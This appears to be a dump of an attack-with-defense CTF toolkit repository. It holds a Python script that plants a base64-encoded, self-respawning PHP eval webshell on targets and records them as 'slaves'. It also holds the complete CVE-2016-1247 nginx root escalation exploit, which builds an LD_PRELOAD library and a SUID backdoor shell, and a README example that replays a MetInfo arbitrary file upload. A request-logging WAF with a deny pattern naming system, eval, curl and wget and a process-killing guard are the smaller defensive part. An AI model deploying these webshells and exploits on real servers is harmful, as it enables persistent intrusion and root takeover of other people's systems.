'PD9waHAKc2V0X3RpbWVfbGltaXQoMCk7Cmlnbm9yZV91c2VyX2Fib3J0KHRydWUpOwpAdW5saW5rKF9fRklMRV9fKTsKJGZpbGUgPSAnLmNvbmZpZy5waHAnOwokc2hlbGw9J1BEOXdhSEFLSkdzZ1BTQnBjM05sZENna1gxSkZVVlZGVTFSYk1GMHBQeVJmVWtWUlZVVlRWRnN3WFRvbkp6c0thV1lnS0cxa05TZ2theWtnUFQwOUlDYzVNMkZsT1RSaFpUQTFaVGs0TUdVeE1HTTVabUZpT0dKbE9HTm1NVEZpTXljcGV3b2tZU0E5SUNSZlVrVlJWVVZUVkZzeFhUc0tKR0lnUFNCdWRXeHNPd3BsZG1Gc0tDUmlMaVJoTGlSaUtUc0tmUW8vUGc9PSc7CndoaWxlKHRydWUpewogICAgZmlsZV9wdXRfY29udGVudHMoJGZpbGUsIGJhc2U2NF9kZWNvZGUoJHNoZWxsKSk7CiAgICBAc3lzdGVtKCJjaG1vZCA2MDAgLmNvbmZpZy5waHAiKTsKICAgIHVzbGVlcCg1MDApOwp9Cj8%2bbW1t'|base64 -d > .m.php''' 61 | try: 62 | # res = sess.post(url+uri,data={key:echo_memo},timeout=3).content 63 | res = sess.get(url+uri+"?%s=%s"%(key,echo_memo),timeout=3) 64 | code = res.status_code 65 | info = res.content 66 | except: 67 | info = '' 68 | code = 404 69 | 70 | if 'int(' in info or code == 200: 71 | print '[+]memory trojan insert success!' 72 | else: 73 | print '[-]memory trojan insert fail!' 74 | print info 75 | # exit() 76 | 77 | uri2 = dirr+'/.m.php' 78 | try: 79 | # print url+uri2 80 | res2 = sess.get(url+uri2,timeout=3) 81 | code = res2.status_code 82 | except: 83 | code = 200 84 | if code == 200: 85 | print '[+]memory trojan active success!' 86 | with open('slaves.txt','ab') as f: 87 | dirr = uri2[:uri2.rindex('/')] 88 | f.write(url+dirr+"/.config.php\n") 89 | else: 90 | print '[-]memory trojan active fail!' 91 | print '[*]status code: %d'%code 92 | 93 | except Exception: 94 | print "[-]Attack fail" 95 | pass 96 | 97 | def getflag(listt): 98 | for i in listt: 99 | cmd = 'system("id");' 100 | res = requests.post(i,data={'0':'huasir','1':cmd}).content 101 | print res 102 | 103 | if __name__ == '__main__': 104 | targets = ['http://192.168.221.134'] 105 | for tt in targets: 106 | put_active(tt) 107 | # slaves = getslaves() 108 | # print slaves 109 | # getflag(slaves) 110 | -------------------------------------------------------------------------------- /spare/psguard.py: -------------------------------------------------------------------------------- 1 | import re 2 | import threading 3 | import sys 4 | import os 5 | 6 | 7 | from time import sleep, time 8 | from random import random 9 | 10 | from auxiliary import * 11 | #import psutil 12 | #from psutil import process_iter 13 | 14 | if sys.version_info.major == 2: 15 | from Queue import Queue 16 | elif sys.version_info.major == 3: 17 | from queue import Queue 18 | else: 19 | print('python2 or python3 required') 20 | exit() 21 | 22 | 23 | ACTION_KILL = 0 24 | ACTION_PASS = 1 25 | ACTION_NEXT = 2 26 | ACTION_INFO = 3 27 | ACTION_ERRO = 4 28 | ACTION_NONE = 5 29 | 30 | class PsGuard(object): 31 | def __init__(self): 32 | self.interval = 0.1 33 | 34 | self.filters = [self.pass_pids_filter] 35 | self.counter = 0 36 | self.pass_pids = [] 37 | self.pass_pids_refresh = 20 38 | 39 | def thread_loop(self): 40 | pass 41 | 42 | def run(self): 43 | while True: 44 | self.counter = (self.counter + 1) % self.pass_pids_refresh 45 | if self.counter == 0: self.pass_pids = [] 46 | self.loop() 47 | interval = random()*self.interval*2 48 | sleep(interval) 49 | 50 | def speed_test(self, count): 51 | print(time()) 52 | i = 0 53 | while True: 54 | i += 1 55 | self.counter = (self.counter + 1) % self.pass_pids_refresh 56 | if self.counter == 0: self.pass_pids = [] 57 | self.loop() 58 | if i >= count: 59 | break 60 | 61 | print(time()) 62 | exit() 63 | 64 | def loop(self): 65 | for process in process_iter(): 66 | self.routine(process) 67 | 68 | def routine(self, process): 69 | action = self.process_handler(process) 70 | result = self.action_handler(process, action) 71 | self.log_handler(result) 72 | 73 | def process_handler(self, process): 74 | try: 75 | for func in self.filters: 76 | action = func(process) 77 | if action == ACTION_NEXT: 78 | pass 79 | else: 80 | return action 81 | return ACTION_NONE 82 | except: 83 | return ACTION_ERRO 84 | 85 | 86 | def action_handler(self, process, action): 87 | if action == ACTION_PASS: 88 | self.pass_pids.append(process.pid) 89 | elif action == ACTION_KILL: 90 | process.kill() 91 | return 'kill {}:{}'.format(process.pid, process.name()) 92 | elif action == ACTION_INFO: 93 | return 'info {}:{}'.format(process.pid, process.name()) 94 | elif action == ACTION_ERRO: 95 | return 'erro {}:{}'.format(process.pid, 'no access or process exited') 96 | else: 97 | pass 98 | def log_handler(self, result): 99 | if result: 100 | print(result) 101 | 102 | 103 | def add_filter(self, func): 104 | self.filters.append(func) 105 | 106 | def pass_pids_filter(self, process): 107 | if process.pid in self.pass_pids: 108 | return ACTION_PASS 109 | else: 110 | return ACTION_NEXT 111 | 112 | if __name__ == '__main__': 113 | def user_filter(process): 114 | ignore_lst = ['root','systemd-timesync','messagebus'] 115 | if process.username() in ignore_lst: 116 | #print('ignore:',process.username()) 117 | return ACTION_PASS 118 | else: 119 | return ACTION_NEXT 120 | 121 | def name_filter(process): 122 | ignore_lst = ['sh', 'bash'] 123 | forbid_lst = ['torj','test_torj', 'exe', 'backdoor', ] 124 | name = process.name() 125 | if name in ignore_lst: 126 | return ACTION_PASS 127 | elif name in forbid_lst: 128 | return ACTION_KILL 129 | else: 130 | return ACTION_NEXT 131 | 132 | def python_restrict(process): 133 | allowed = ['server.py', 'psguard.py'] 134 | name = process.name() 135 | if 'python' in name: 136 | cmdline = process.cmdline() 137 | if cmdline[0] != name: 138 | return ACTION_KILL 139 | elif len(cmdline) >= 2: 140 | if cmdline[1] in allowed: 141 | return ACTION_PASS 142 | else: 143 | return ACTION_KILL 144 | else: 145 | return ACTION_NEXT 146 | return ACTION_NEXT 147 | 148 | def www_data_kill(process): 149 | allowed = ['apache2','sh'] 150 | if process.username() == 'www-data' and process.name() not in allowed: 151 | return ACTION_KILL 152 | else: 153 | return ACTION_PASS 154 | 155 | 156 | pg = PsGuard() 157 | pg.interval = 0.1 158 | pg.add_filter(user_filter) 159 | # pg.add_filter(name_filter) 160 | # pg.add_filter(python_restrict) 161 | pg.add_filter(www_data_kill) 162 | pg.run() 163 | #pg.speed_test(1000) 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 | -------------------------------------------------------------------------------- /upload/log.php: -------------------------------------------------------------------------------- 1 | $value) { 33 | if (substr($name, 0, 5) == 'HTTP_') { 34 | $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value; 35 | } 36 | } 37 | return $headers; 38 | } 39 | } 40 | 41 | function return500(){ 42 | header('HTTP/1.1 500 Internal Server Error'); 43 | printf(' 44 | 45 | 500 Internal Server Error 46 | 47 |

Internal Server Error

48 |

The server encountered an internal error or 49 | misconfiguration and was unable to complete 50 | your request.

51 |

Please contact the server administrator at 52 | webmaster@localhost to inform them of the time this error occurred, 53 | and the actions you performed just before this error.

54 |

More information about this error may be available 55 | in the server error log.

56 |
57 |
Server at %s Port %s
58 | ',$_SERVER['HTTP_HOST'],$_SERVER["SERVER_PORT"]); 59 | exit(); 60 | } 61 | 62 | if (in_array($_SERVER['REMOTE_ADDR'], $balck_list)){ 63 | return500(); 64 | } 65 | 66 | function d_addslashes(&$array){ 67 | foreach($array as $key=>$value){ 68 | if(!is_array($value)){ 69 | !get_magic_quotes_gpc() && $value=addslashes($value); 70 | $array[$key]=$value; 71 | }else{ 72 | d_addslashes($value); 73 | $array[$key]=$value; 74 | } 75 | } 76 | } 77 | 78 | function AWD_defense(&$array) { 79 | $pattern = "/load_file|\.\.|system|assert|exec|passthru|preg_replace|select.*from|union.*select|z0=.*z1=.*z2=.*|eval|file_get_content|file|cat|curl|wget|`/i"; 80 | 81 | foreach($array as $key=>$value){ 82 | if(!is_array($value)){ 83 | if (preg_match($pattern, $value)) { 84 | $array[$key]=''; 85 | } 86 | }else{ 87 | AWD_defense($value); 88 | $array[$key]=$value; 89 | } 90 | //print_r($a); 91 | } 92 | } 93 | 94 | function WriteLog($basedir){ 95 | //log time 96 | $time = date('H',time()).':'.date('i',time()).':'.date('s',time()); 97 | //log file position 98 | $log_file = $basedir.transquote($_SERVER['REMOTE_ADDR']).".txt"; 99 | //requests url 100 | $url = empty('HTTPS')?'https://':'http://'.$_SERVER['HTTP_HOST'].$_SERVER["REQUEST_URI"]; 101 | //requests method 102 | $method = (empty($_POST) && empty($_FILES))?"GET":"POST"; 103 | //headers 104 | $header = isset($HEAD)?$HEAD:getallheaders(); 105 | if (isset($header['Local']) && $header['Local'] == '1'){ 106 | // var_dump(getallheaders()); 107 | return 0; 108 | } 109 | $headers = ""; 110 | foreach($header as $key => $value){ 111 | $headers = $headers.$key.': '.$value."\r\n"; 112 | } 113 | //Raw Data 114 | $raw = ""; 115 | if (!empty($_POST)){ 116 | $raw = "\r\n\r\n"; 117 | foreach ($_POST as $key => $value) { 118 | $raw .= "{$key}={$value}&"; 119 | } 120 | $raw = substr($raw, 0, strlen($raw)-1); 121 | } 122 | // File Post 123 | if (!empty($_FILES)){ 124 | foreach ($_FILES as $key => $value) { 125 | preg_match("#boundary=([\-0-9]+)#", $header['Content-Type'],$boundary); 126 | $raw = "\r\n\r\n{$boundary[1]}\r\nContent-Disposition: form-data; name={$key}; filename={$value['name']}\r\n"; 127 | $raw = $raw."Content-Type:{$value['type']}\r\n"; 128 | $raw = $raw.file_get_contents($value['tmp_name']); 129 | } 130 | } 131 | //Recv Data 132 | $recv = "Time {$time}\r\n***********\r\n".$method." ".transquote($_SERVER["REQUEST_URI"])." HTTP/1.1\r\n".transquote($headers).$raw."\r\n\r\n"; 133 | file_put_contents($log_file, $recv, FILE_APPEND); 134 | 135 | file_put_contents($log_file, "------------------------------------------------------------------------------\r\n", FILE_APPEND); 136 | } 137 | 138 | try{ 139 | WriteLog(LOGDIR); 140 | } 141 | catch(Exception $e){ 142 | if (DEBUG===True){ 143 | echo "[!]Error: ".$e->getMessage(); 144 | } 145 | } 146 | 147 | function curl_nginx($remoteDomain){ 148 | $headers = getallheaders(); 149 | $extraHeaders = array(); 150 | $headers['Host'] = $remoteDomain; 151 | if (isset($headers['Referer'])) { 152 | $headers['Referer'] = str_replace($_SERVER["HTTP_HOST"], $remoteDomain, $headers['Referer']); 153 | } 154 | if (isset($headers['Origin'])) { 155 | $headers['Origin'] = str_replace($_SERVER["HTTP_HOST"], $remoteDomain, $headers['Origin']); 156 | } 157 | foreach ($headers as $key => $value) { 158 | if(in_array($key, array('User-Agent','Accept','Accept-Language','Accept-Encoding','Referer','Origin'))) 159 | $extraHeaders[] = $key.': '.$value; 160 | } 161 | $ch = curl_init(); 162 | echo "curl opt:\n"; 163 | echo 'http://'.$remoteDomain.$_SERVER["REQUEST_URI"]; 164 | curl_setopt($ch, CURLOPT_URL, 'http://'.$remoteDomain.$_SERVER["REQUEST_URI"]); 165 | 166 | if ($_SERVER['REQUEST_METHOD'] == 'POST'){ 167 | $post_data = file_get_contents('php://input'); 168 | if(isset($_FILES)){ 169 | $filename = array_keys($_FILES)[0]; 170 | $post_data = $_POST; 171 | $post_data[$filename] = '@'.$_FILES[$filename]['tmp_name']; 172 | } 173 | curl_setopt($ch, CURLOPT_POST, TRUE); 174 | @curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data); 175 | } 176 | curl_setopt($ch, CURLOPT_HTTPHEADER, $extraHeaders); 177 | if (isset($headers['Cookie'])){ 178 | curl_setopt($ch, CURLOPT_COOKIE, $headers['Cookie']); 179 | } 180 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); 181 | curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); 182 | $response = curl_exec($ch); 183 | curl_close($ch); 184 | echo $response; 185 | exit(); 186 | } 187 | if (NGINX){ 188 | try{ 189 | curl_nginx(TARGETIP); 190 | } 191 | catch(Exception $e){ 192 | if (DEBUG===True){ 193 | echo "[!]Error: ".$e->getMessage(); 194 | } 195 | } 196 | } 197 | // d_addslashes($_GET); 198 | // d_addslashes($_POST); 199 | // d_addslashes($_REQUEST); 200 | 201 | if (DEFENSE){ 202 | AWD_defense($_GET); 203 | AWD_defense($_POST); 204 | AWD_defense($_REQUEST); 205 | } 206 | 207 | ?> 208 | -------------------------------------------------------------------------------- /getRoot/POC/Nginx-root-CVE-2016-1247/nginxed-root.sh: -------------------------------------------------------------------------------- 1 | 2 | #!/bin/bash 3 | # 4 | # Nginx (Debian-based distros + Gentoo) - Root Privilege Escalation PoC Exploit 5 | # nginxed-root.sh (ver. 1.0) 6 | # 7 | # CVE-2016-1247 8 | # 9 | # Discovered and coded by: 10 | # 11 | # Dawid Golunski 12 | # dawid[at]legalhackers.com 13 | # 14 | # https://legalhackers.com 15 | # 16 | # Follow https://twitter.com/dawid_golunski for updates on this advisory. 17 | # 18 | # --- 19 | # This PoC exploit allows local attackers on Debian-based systems (Debian, Ubuntu 20 | # as well as Gentoo etc.) to escalate their privileges from nginx web server user 21 | # (www-data) to root through unsafe error log handling. 22 | # 23 | # The exploit waits for Nginx server to be restarted or receive a USR1 signal. 24 | # On Debian-based systems the USR1 signal is sent by logrotate (/etc/logrotate.d/nginx) 25 | # script which is called daily by the cron.daily on default installations. 26 | # The restart should take place at 6:25am which is when cron.daily executes. 27 | # Attackers can therefore get a root shell automatically in 24h at most without any admin 28 | # interaction just by letting the exploit run till 6:25am assuming that daily logrotation 29 | # has been configured. 30 | # 31 | # 32 | # Exploit usage: 33 | # ./nginxed-root.sh path_to_nginx_error.log 34 | # 35 | # To trigger logrotation for testing the exploit, you can run the following command: 36 | # 37 | # /usr/sbin/logrotate -vf /etc/logrotate.d/nginx 38 | # 39 | # See the full advisory for details at: 40 | # https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html 41 | # 42 | # Video PoC: 43 | # https://legalhackers.com/videos/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html 44 | # 45 | # 46 | # Disclaimer: 47 | # For testing purposes only. Do no harm. 48 | # 49 | 50 | BACKDOORSH="/bin/bash" 51 | BACKDOORPATH="/tmp/nginxrootsh" 52 | PRIVESCLIB="/tmp/privesclib.so" 53 | PRIVESCSRC="/tmp/privesclib.c" 54 | SUIDBIN="/usr/bin/sudo" 55 | 56 | function cleanexit { 57 | # Cleanup 58 | echo -e "\n[+] Cleaning up..." 59 | rm -f $PRIVESCSRC 60 | rm -f $PRIVESCLIB 61 | rm -f $ERRORLOG 62 | touch $ERRORLOG 63 | if [ -f /etc/ld.so.preload ]; then 64 | echo -n > /etc/ld.so.preload 65 | fi 66 | echo -e "\n[+] Job done. Exiting with code $1 \n" 67 | exit $1 68 | } 69 | 70 | function ctrl_c() { 71 | echo -e "\n[+] Ctrl+C pressed" 72 | cleanexit 0 73 | } 74 | 75 | #intro 76 | 77 | cat <<_eascii_ 78 | _______________________________ 79 | < Is your server (N)jinxed ? ;o > 80 | ------------------------------- 81 | \ 82 | \ __---__ 83 | _- /--______ 84 | __--( / \ )XXXXXXXXXXX\v. 85 | .-XXX( O O )XXXXXXXXXXXXXXX- 86 | /XXX( U ) XXXXXXX\ 87 | /XXXXX( )--_ XXXXXXXXXXX\ 88 | /XXXXX/ ( O ) XXXXXX \XXXXX\ 89 | XXXXX/ / XXXXXX \__ \XXXXX 90 | XXXXXX__/ XXXXXX \__----> 91 | ---___ XXX__/ XXXXXX \__ / 92 | \- --__/ ___/\ XXXXXX / ___--/= 93 | \-\ ___/ XXXXXX '--- XXXXXX 94 | \-\/XXX\ XXXXXX /XXXXX 95 | \XXXXXXXXX \ /XXXXX/ 96 | \XXXXXX > _/XXXXX/ 97 | \XXXXX--__/ __-- XXXX/ 98 | -XXXXXXXX--------------- XXXXXX- 99 | \XXXXXXXXXXXXXXXXXXXXXXXXXX/ 100 | ""VXXXXXXXXXXXXXXXXXXV"" 101 | _eascii_ 102 | 103 | echo -e "\033[94m \nNginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247) \nnginxed-root.sh (ver. 1.0)\n" 104 | echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com \033[0m" 105 | 106 | # Args 107 | if [ $# -lt 1 ]; then 108 | echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n" 109 | echo -e "It seems that this server uses: `ps aux | grep nginx | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n" 110 | exit 3 111 | fi 112 | 113 | # Priv check 114 | 115 | echo -e "\n[+] Starting the exploit as: \n\033[94m`id`\033[0m" 116 | id | grep -q www-data 117 | if [ $? -ne 0 ]; then 118 | echo -e "\n[!] You need to execute the exploit as www-data user! Exiting.\n" 119 | exit 3 120 | fi 121 | 122 | # Set target paths 123 | ERRORLOG="$1" 124 | if [ ! -f $ERRORLOG ]; then 125 | echo -e "\n[!] The specified Nginx error log ($ERRORLOG) doesn't exist. Try again.\n" 126 | exit 3 127 | fi 128 | 129 | # [ Exploitation ] 130 | 131 | trap ctrl_c INT 132 | # Compile privesc preload library 133 | echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)" 134 | cat <<_solibeof_>$PRIVESCSRC 135 | #define _GNU_SOURCE 136 | #include 137 | #include 138 | #include 139 | #include 140 | #include 141 | #include 142 | #include 143 | 144 | uid_t geteuid(void) { 145 | static uid_t (*old_geteuid)(); 146 | old_geteuid = dlsym(RTLD_NEXT, "geteuid"); 147 | if ( old_geteuid() == 0 ) { 148 | chown("$BACKDOORPATH", 0, 0); 149 | chmod("$BACKDOORPATH", 04777); 150 | unlink("/etc/ld.so.preload"); 151 | } 152 | return old_geteuid(); 153 | } 154 | _solibeof_ 155 | /bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl" 156 | if [ $? -ne 0 ]; then 157 | echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC." 158 | cleanexit 2; 159 | fi 160 | 161 | 162 | # Prepare backdoor shell 163 | cp $BACKDOORSH $BACKDOORPATH 164 | echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`" 165 | 166 | # Safety check 167 | if [ -f /etc/ld.so.preload ]; then 168 | echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety." 169 | exit 2 170 | fi 171 | 172 | # Symlink the log file 173 | rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG 174 | if [ $? -ne 0 ]; then 175 | echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink." 176 | cleanexit 3 177 | fi 178 | echo -e "\n[+] The server appears to be \033[94m(N)jinxed\033[0m (writable logdir) ! :) Symlink created at: \n`ls -l $ERRORLOG`" 179 | 180 | # Make sure the nginx access.log contains at least 1 line for the logrotation to get triggered 181 | curl http://localhost/ >/dev/null 2>/dev/null 182 | # Wait for Nginx to re-open the logs/USR1 signal after the logrotation (if daily 183 | # rotation is enable in logrotate config for nginx, this should happen within 24h at 6:25am) 184 | echo -ne "\n[+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am..." 185 | while :; do 186 | sleep 1 187 | if [ -f /etc/ld.so.preload ]; then 188 | echo $PRIVESCLIB > /etc/ld.so.preload 189 | rm -f $ERRORLOG 190 | break; 191 | fi 192 | done 193 | 194 | # /etc/ld.so.preload should be owned by www-data user at this point 195 | # Inject the privesc.so shared library to escalate privileges 196 | echo $PRIVESCLIB > /etc/ld.so.preload 197 | echo -e "\n[+] Nginx restarted. The /etc/ld.so.preload file got created with web server privileges: \n`ls -l /etc/ld.so.preload`" 198 | echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload" 199 | echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`" 200 | chmod 755 /etc/ld.so.preload 201 | 202 | # Escalating privileges via the SUID binary (e.g. /usr/bin/sudo) 203 | echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!" 204 | sudo 2>/dev/null >/dev/null 205 | 206 | # Check for the rootshell 207 | ls -l $BACKDOORPATH 208 | ls -l $BACKDOORPATH | grep rws | grep -q root 209 | if [ $? -eq 0 ]; then 210 | echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`" 211 | echo -e "\n\033[94mThe server is (N)jinxed ! ;) Got root via Nginx!\033[0m" 212 | else 213 | echo -e "\n[!] Failed to get root" 214 | cleanexit 2 215 | fi 216 | 217 | rm -f $ERRORLOG 218 | echo > $ERRORLOG 219 | 220 | # Use the rootshell to perform cleanup that requires root privilges 221 | $BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB" 222 | # Reset the logging to error.log 223 | $BACKDOORPATH -p -c "kill -USR1 `pidof -s nginx`" 224 | 225 | # Execute the rootshell 226 | echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n" 227 | $BACKDOORPATH -p -i 228 | 229 | # Job done. 230 | cleanexit 0 231 | -------------------------------------------------------------------------------- /hackhttp.md: -------------------------------------------------------------------------------- 1 | ``` 2 | _ _ _ _ _ 3 | | |__ __ _ ___| | _| |__ | |_| |_ _ __ 4 | | '_ \ / _` |/ __| |/ / '_ \| __| __| '_ \ 5 | | | | | (_| | (__| <| | | | |_| |_| |_) | 6 | |_| |_|\__,_|\___|_|\_\_| |_|\__|\__| .__/ 7 | |_| 8 | ``` 9 | [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/bugscanteam/hackhttp/master/GPL-2.0) 10 | 11 | 简介 12 | --- 13 | 14 | hackhttp 是四叶草安全旗下 BugscanTeam 打造的一款 Python 语言的 HTTP 第三方库。是分布式漏洞扫描框架 BugScan 中核心库之一。 15 | 16 | hackhttp 致力于帮助安全测试人员快速编写代码,除众多基础功能外,hackhttp 支持直接发送 HTTP 原始报文,开发者可以直接将浏览器或者 Burp Suite 等抓包工具中截获的 HTTP 报文复制后,无需修改报文,可直接使用 hackhttp 进行重放。 17 | 18 | hackhttp 使用连接池技术,在应对大量请求时自动对连接进行复用,节省建立连接时间与服务器资源,这种天生的特性,在编写爬虫时尤为显著,测试用例中提供了一个爬取乌云所有漏洞的爬虫。 19 | 20 | 安装 21 | --- 22 | 23 | ### 使用 pip 安装 24 | 25 | ``` 26 | $ pip install hackhttp 27 | ``` 28 | 29 | 如果提示找不到源可以手动指定为官方源: 30 | 31 | ``` 32 | $ pip install -i https://pypi.python.org/pypi hackhttp 33 | ``` 34 | 35 | ### 使用源码安装 36 | 37 | 1. 获取源代码 38 | 39 | 你可以通过用 Git 来克隆代码仓库中的最新源代码 40 | 41 | ``` 42 | $ git clone git@github.com:BugScanTeam/hackhttp.git 43 | ``` 44 | 45 | 或者你可以点击 [这里](https://github.com/BugScanTeam/hackhttp/archive/master.zip) 下载最新的源代码 zip 包,并解压 46 | 47 | ``` 48 | $ wget https://github.com/BugScanTeam/hackhttp/archive/master.zip 49 | $ unzip master.zip 50 | ``` 51 | 52 | 2. 手动安装 53 | 54 | ``` 55 | $ cd hackhttp 56 | $ python setup.py install 57 | ``` 58 | 59 | 使用 60 | --- 61 | 62 | ### 快速上手 63 | 64 | ``` 65 | >>> import hackhttp 66 | >>> hh = hackhttp.hackhttp() 67 | >>> url = "https://www.bugscan.net" 68 | >>> code, head, html, redirect_url, log = hh.http(url) 69 | ``` 70 | 71 | ### 返回值说明: 72 | 73 | * **code** 74 | 75 | HTTP 状态码,类型为 int 76 | 77 | * **head** 78 | 79 | HTTP 响应头,类型为 String 80 | 81 | * **html** 82 | 83 | HTTP 响应体,类型为 String 84 | 85 | * **redirect_url** 86 | 87 | 遇到 HTTP 302 后的跳转地址,如果无跳转则为请求的地址,类型为 String 88 | 89 | * **log** 90 | 91 | HTTP 日志信息,类型为 dict 92 | 93 | * url 94 | 95 | 本次请求的第一个 URL 地址 96 | 97 | * request 98 | 99 | HTTP 请求报文 100 | 101 | * response 102 | 103 | HTTP 响应报文 104 | 105 | 106 | ### 详细说明 107 | 108 | * [发送一个 GET 请求](#get) 109 | * [发送表单 POST 请求](#post) 110 | * [发送 HTTP 原始数据包](#raw) 111 | * [自定义请求头](#headers) 112 | * [代理功能使用](#proxy) 113 | * [文件上传](#fileupload) 114 | * [HTTP 连接池](#connectionpool) 115 | * [自定义 Cookie](#cookie) 116 | * [爬虫示例:抓取乌云所有漏洞](#wooyunspider) 117 | 118 | #### 发送一个 GET 请求
119 | 120 | ``` 121 | >>> import hackhttp 122 | >>> hh = hackhttp.hackhttp() 123 | >>> code, head, body, redirect, log = hh.http('https://www.bugscan.net') 124 | >>> code 125 | 200 126 | >>> '' in body 127 | True 128 | ``` 129 | 130 | #### 发送表单 POST 请求
131 | 132 | ``` 133 | >>> import hackhttp 134 | >>> hh = hackhttp.hackhttp() 135 | >>> code, head, body, redirect, log = hh.http('http://httpbin.org/post', post="key1=val1&key2=val2") 136 | >>> code 137 | 200 138 | >>> print body 139 | { 140 | ... 141 | "form": { 142 | "key1": "val1", 143 | "key2": "val2" 144 | }, 145 | ... 146 | } 147 | ``` 148 | 149 | #### 发送 HTTP 原始数据包
150 | 151 | 本例子中演示如何通过 raw 来发送表单 POST 数据,raw 中数据可以从 Burp Suite 中截取数据报文并直接复制。 152 | 153 | ``` 154 | >>> import hackhttp 155 | >>> hh = hackhttp.hackhttp() 156 | >>> raw='''POST /post HTTP/1.1 157 | ... Host: httpbin.org 158 | ... User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:45.0) Gecko/20100101 Firefox/45.0 159 | ... Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 160 | ... Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 161 | ... Accept-Encoding: gzip, deflate 162 | ... Connection: close 163 | ... Content-Type: application/x-www-form-urlencoded 164 | ... Content-Length: 19 165 | ... 166 | ... key1=val1&key2=val2''' 167 | >>> code, head, html, redirect, log = hh.http('http://httpbin.org/post', raw=raw) 168 | >>> code 169 | 200 170 | >>> print html 171 | { 172 | ... 173 | "form": { 174 | "key1": "val1", 175 | "key2": "val2" 176 | }, 177 | ... 178 | } 179 | ``` 180 | 181 | #### 自定义请求头
182 | 183 | 使用字典形式,需要使用将请求头字典传给 headers: 184 | 185 | ``` 186 | >>> import hackhttp 187 | >>> hh = hackhttp.hackhttp() 188 | >>> headers_dict = { 189 | ... 'X-Forwarder-For': 'https://q.bugscan.net', 190 | ... 'Hack-Http': 'Header Dict Val' 191 | ... } 192 | >>> code, head, body, redirect, log = hh.http('https://www.bugscan.net', headers=headers_dict) 193 | >>> 194 | >>> print log['request'] 195 | GET / HTTP/1.1 196 | Host: www.bugscan.net 197 | X-Forwarder-For: https://q.bugscan.net 198 | ... 199 | Hack-Http: Header Dict Val 200 | >>> 201 | ``` 202 | 203 | 使用字符串形式,需要将字符串传给 header: 204 | 205 | ``` 206 | >>> import hackhttp 207 | >>> hh = hackhttp.hackhttp() 208 | >>> 209 | >>> header_str='HH_HEADER_1: hh h1 val\r\nHH_HEADER_2:hh h2 val' 210 | >>> 211 | >>> code, head, body, redirect, log = hh.http('https://www.bugscan.net', header=header_str) 212 | >>> 213 | >>> print log['request'] 214 | GET / HTTP/1.1 215 | Host: www.bugscan.net 216 | ... 217 | HH_HEADER_2: hh h2 val 218 | HH_HEADER_1: hh h1 val 219 | ``` 220 | 221 | **注意:如果同时指定 header 和 headers,将只会使用 header 中的内容** 222 | 223 | #### 代理功能使用
224 | 225 | 目前代理仅支持 HTTP 代理 226 | 227 | ``` 228 | >>> import hackhttp 229 | >>> hh = hackhttp.hackhttp() 230 | >>> proxy_str = ('127.0.0.1', 9119) 231 | >>> code, head, body, redirect, log = hh.http('https://www.bugscan.net', proxy=proxy_str) 232 | ``` 233 | 234 | #### 文件上传
235 | 236 | 文件上传可以直接通过 Burp Suite 来抓包截取上传报文,使用 raw 方式上传。 237 | 238 | MetInfo5.1 任意文件上传漏洞中,使用 hackhttp 上传文件: 239 | 240 | ``` 241 | #!/usr/bin/env python 242 | # coding:utf-8 243 | import hackhttp 244 | 245 | target = "http://127.0.0.1/metinfo5.1/" 246 | url = target + "feedback/uploadfile_save.php?met_file_format=pphphp&met_file_maxsize=9999&lang=metinfo" 247 | 248 | raw = '''POST /feedback/uploadfile_save.php?met_file_format=pphphp&met_file_maxsize=9999&lang=metinfo HTTP/1.1 249 | Host: localhost 250 | Content-Length: 423 251 | Cache-Control: max-age=0 252 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 253 | Origin: null 254 | Upgrade-Insecure-Requests: 1 255 | User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36 256 | Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryE1toBNeESf6p0uXQ 257 | Accept-Encoding: gzip, deflate 258 | Accept-Language: zh-CN,zh;q=0.8 259 | Cookie: PHPSESSID=hfqa37uap92gdaoc2nsco6g0n1 260 | 261 | ------WebKitFormBoundaryE1toBNeESf6p0uXQ 262 | Content-Disposition: form-data; name="fd_para[1][para]" 263 | 264 | filea 265 | ------WebKitFormBoundaryE1toBNeESf6p0uXQ 266 | Content-Disposition: form-data; name="fd_para[1][type]" 267 | 268 | 5 269 | 